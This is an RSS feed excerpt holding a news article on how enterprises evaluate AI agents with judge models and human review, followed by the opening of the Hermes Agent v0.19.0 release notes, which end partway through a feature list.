<link>https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682142/it-nachrichten/a-single-ai-agent-conversation-can-look-perfect-and-still-be-broken-leaders-from-langchain-conviva-and-coreweave-said-at-vb-transform-2026/</guid>
<pubDate>Mon, 20 Jul 2026 22:48:13 +0200</pubDate>
<content:encoded><![CDATA[<p>A single AI agent conversation can look flawless scored on its own and still point to a broken product. That gap is driving a shift in how enterprises evaluate agents, away from scoring individual traces and toward comparing cohorts of users against a baseline.</p><p>At<a href="https://venturebeat.com/vbtransform2026"> VB Transform 2026</a>, <!-- -->Harrison Chase, CEO of LangChain; Hui Zhang, CTO and co-founder of Conviva; and Emmanuel Turlay, director of engineering at CoreWeave, described that shift, along with a parallel move toward cheaper, narrower judge models.</p><p>Agent-as-judge — judging one AI agent's output with another — hasn't replaced LLM-as-judge, which Chase said remains the default. The larger tension, Zhang said, is between automated judging, whether by LLM or agent, and human review.</p><p>"You have scalable but ungrounded, whether it's agents as judge or LLMs as judge, you grade the outcome, you grade the work. It still is very difficult to ground it and then you use humans and that's just not scalable," Zhang said. "The whole industry is facing this, which poison you want to pick."</p><h2>Evaluation criteria now function as the product spec</h2><p>That gap — a conversation that scores well but still signals a broken product — is what teams try to close by building an exhaustive evaluation suite before they ship anything. Chase said that doesn't work.</p><p>"We sometimes see teams that have almost eval paralysis," Chase said. "They're like, this is an eval set, I can't launch it. The best teams launch and then iterate."</p><p>Chase framed evaluation criteria as a living specification, not a one-time test suite: a product requirements document — the standard software-development spec for what an application should do. "Evals are like the new PRD," he said. "They define what your agent should and shouldn't do."</p><p>Turlay described hitting the same failure from a different angle. "I was trying to reach 100% coverage for my tests, and I still had bugs in production," he said — a test suite that looked complete but still missed what mattered, the same gap Chase was describing with evals.</p><p>Broad, always-on monitoring, he said, catches more real failures than an exhaustive pre-launch test suite. Teams should set up wide online checks first, use those to identify failure classes as they occur, then build a targeted offline evaluation set around the problems that surface.</p><h2>Why scoring traces one at a time is a mistake</h2><p>Even a well-built evaluation process can still score the wrong thing. Zhang's objection is to how most teams run evaluation: sampling traces, whether 50 of them or a full population, scoring each in isolation. That approach misses a signal that only shows up when comparing cohorts of users against a baseline, a method Zhang calls contrastive analysis.</p><p>Zhang illustrated it with a retail example: a shopper asks an agent for a running shoe ahead of a half marathon, the agent asks qualifying questions, and the shopper buys a shoe. Scored individually, that interaction looks fine. But the clarification ratio, how many follow-up questions an agent asks before completing a task, came in three times higher than baseline for that shoe category across the full user population. A second metric, how often shoppers finished their purchase outside the conversation, was five times higher than baseline for the same category.</p><p>Neither number is visible from a single trace. Both point to a debuggable, category-specific problem. Zhang said the industry also lacks a second data source: what happens before, between and after the conversation, not just the trace itself.</p><h2>Sizing the judge to the job</h2><p>Once contrastive analysis flags which category is actually broken, the next problem is what watches for it going forward — and at what cost. Turlay's rule was to start with the most capable model available to prove a task is solvable, then work down. If it can't be done with a top-tier model, he said, it won't work with a smaller one. Once a pattern proves viable, teams can sample a fraction of traffic instead of judging every interaction, and move simpler tasks like binary classification to smaller open source models.</p><p>LangChain took that further, fine-tuning its own model to detect when a user believes the agent made a mistake, a signal Chase calls perceived error. "The model we fine-tuned was a Qwen model," he said, referring to Alibaba's open source family. Combining hand labeling with distillation, the result performed well. "Same as [Claude]Sonnet, for, depending on how we served it, either 10 to 100x cost reduction," Chase said.</p><p>Not every guardrail needs a model. Chase pointed to Claude Code's own guardrails as proof: regexes, the common programming technique for finding and validating patterns in code. "A lot of the guardrails they had were just regexes," he said. "They weren't small LLMs, they were just regexes."</p><h2>LLM-as-judge doesn't mean human-in-the-loop disappears</h2><p>The bigger question is whether using LLM as a judge removes the need for a human in the loop.</p><p>Turlay pointed to accountability, drawing on his prior work at a self-driving car company. His team compressed data intake and retraining into a two-week cycle for shipping a new model to the car. Even then, someone still had to sign off.</p><p>"I felt confident on behalf of the company to say this model should go into the car," he said. The same logic extends to legal, finance and healthcare. "Before we can remove a human to say, I endorse this and I take responsibility legally for it, it's going to be a while before agents can do that on their own."</p><p>Zhang agreed a human has to remain the guardian on corner cases, even as automation eventually runs at a scale that beats individual human accuracy — machines can see more at the pattern level. </p><p>Chase went further: that human check isn't just a safety net. "Human in the loop is really important for building trust in how these agentic systems work, and also really important for memory and learning from systems," he said. "There has to be interactions in order for the system to learn."</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.19.0 (2026.7.20) — The Quicksilver Release]]></title>
<description><![CDATA[Hermes Agent v0.19.0 (v2026.7.20)
Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this win...]]></description>
<link>https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3681964/downloads/hermes-agent-v0190-2026720-the-quicksilver-release/</guid>
<pubDate>Mon, 20 Jul 2026 20:46:40 +0200</pubDate>
<content:encoded><![CDATA[<h1>Hermes Agent v0.19.0 (v2026.7.20)</h1>
<p><strong>Release Date:</strong> July 20, 2026<br>
<strong>Since v0.18.0:</strong> ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · <strong>~3,300 issues closed</strong> · <strong>450+ community contributors</strong></p>
<blockquote>
<p><strong>The Quicksilver Release.</strong> Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped <strong>~80% on every platform</strong>, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now <strong>manage your Nous subscription without leaving the terminal</strong>, plug <strong>Bitwarden and 1Password</strong> straight into Hermes, let <strong>smart approvals</strong> judge flagged commands for you by default, <strong>watch your subagents work live</strong>, and trust that a finished response <strong>survives a gateway crash</strong> thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.</p>
</blockquote>
<hr>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes got dramatically faster — first token in a fraction of the time</strong> — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you <em>see</em> while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The desktop app speed wave — 20+ targeted perf PRs</strong> — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a> and more — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</p>
</li>
<li>
<p><strong>Manage your Nous plan from the terminal — <code>/subscription</code> and <code>/topup</code></strong> — Changing your subscription used to mean a trip to the billing website. Now <code>/subscription</code> opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 &amp; upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (<a href="https://github.com/NousResearch/hermes-agent/pull/51639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51639/hovercard">#51639</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61054/hovercard">#61054</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61067" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61067/hovercard">#61067</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>)</p>
</li>
<li>
<p><strong>Smart approvals are now the default</strong> — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new <strong>user-defined deny rules</strong> (which block commands even under yolo mode) and <code>/deny &lt;reason&gt;</code> (which tells the agent <em>why</em> you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Plug your password manager into Hermes — Bitwarden &amp; 1Password secret sources</strong> — API keys no longer have to live in a plaintext <code>.env</code>. A new pluggable <code>SecretSource</code> interface lets Hermes fetch secrets from Bitwarden and 1Password (<code>op://</code> references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, 1Password provider salvaged from <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</p>
</li>
<li>
<p><strong>Watch your subagents work — live transcripts + durable background delegation</strong> — <code>delegate_task</code> dispatches now return live transcript files you can <code>tail -f</code> the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now <strong>durable</strong> — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A finished answer can no longer be lost — the delivery-obligation ledger</strong> — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in <code>state.db</code> around the platform send and <strong>redelivered on the next boot</strong> — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>One gateway, many profiles — profile-based message routing</strong> — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the <code>work</code> profile and your hobby server at <code>personal</code>, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Burgunthy/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Burgunthy">@Burgunthy</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + six salvaged contributors)</p>
</li>
<li>
<p><strong>New providers and the newest frontier models</strong> — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3370551446" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/2" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/2/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/2">#2</a> slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up <strong>GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route)</strong>, <strong>grok-4.5 (GA)</strong>, <strong>moonshotai/kimi-k3</strong>, <strong>claude-fable-5 / claude-sonnet-5</strong>, and GA <strong>tencent/hy3</strong> — plus LM Studio JIT model loading for local setups. (<a href="https://github.com/NousResearch/hermes-agent/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62593/hovercard">#62593</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63969/hovercard">#63969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61616" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61616/hovercard">#61616</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> completing <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rob-maron/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rob-maron">@rob-maron</a>'s <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848372503" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/61578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61578/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/61578">#61578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60887" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60887/hovercard">#60887</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65913" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65913/hovercard">#65913</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64541" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64541/hovercard">#64541</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65472" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65472/hovercard">#65472</a>)</p>
</li>
<li>
<p><strong>Crank the thinking to max — new reasoning effort tiers and per-model control</strong> — Reasoning effort gained <code>max</code> and <code>ultra</code> levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin <strong>per-model reasoning-effort overrides</strong> in config, set <strong>per-slot effort in MoA presets</strong> (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Your sessions, your data — export everything</strong> — <code>hermes sessions export</code> now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in <code>--redact</code> secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a> salvaging <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Security hardening round</strong> — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (<a href="https://github.com/NousResearch/hermes-agent/pull/57660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57660/hovercard">#57660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58709" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58709/hovercard">#58709</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59215" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59215/hovercard">#59215</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56582/hovercard">#56582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57842/hovercard">#57842</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/srojk34/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/srojk34">@srojk34</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</p>
</li>
</ul>
<hr>
<h2>⚡ Performance — the speed spine</h2>
<h3>First-turn latency (all platforms)</h3>
<ul>
<li><strong>~80% TTFT cut</strong> — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (<a href="https://github.com/NousResearch/hermes-agent/pull/59332" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59332/hovercard">#59332</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Perceived-latency round 2</strong> — <code>display.show_reasoning</code> default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/59389" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59389/hovercard">#59389</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (<a href="https://github.com/NousResearch/hermes-agent/pull/64460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64460/hovercard">#64460</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67788/hovercard">#67788</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Desktop speed wave</h3>
<ul>
<li>14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (<a href="https://github.com/NousResearch/hermes-agent/pull/67154" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67154/hovercard">#67154</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67818" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67818/hovercard">#67818</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65898" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65898/hovercard">#65898</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66033/hovercard">#66033</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (<a href="https://github.com/NousResearch/hermes-agent/pull/66747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66747/hovercard">#66747</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66347/hovercard">#66347</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67857" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67857/hovercard">#67857</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66470" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66470/hovercard">#66470</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (<a href="https://github.com/NousResearch/hermes-agent/pull/67742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67742/hovercard">#67742</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67842" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67842/hovercard">#67842</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67195" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67195/hovercard">#67195</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67245/hovercard">#67245</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67824" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67824/hovercard">#67824</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67838" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67838/hovercard">#67838</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67844" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67844/hovercard">#67844</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (<a href="https://github.com/NousResearch/hermes-agent/pull/67466" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67466/hovercard">#67466</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67697/hovercard">#67697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Everywhere else</h3>
<ul>
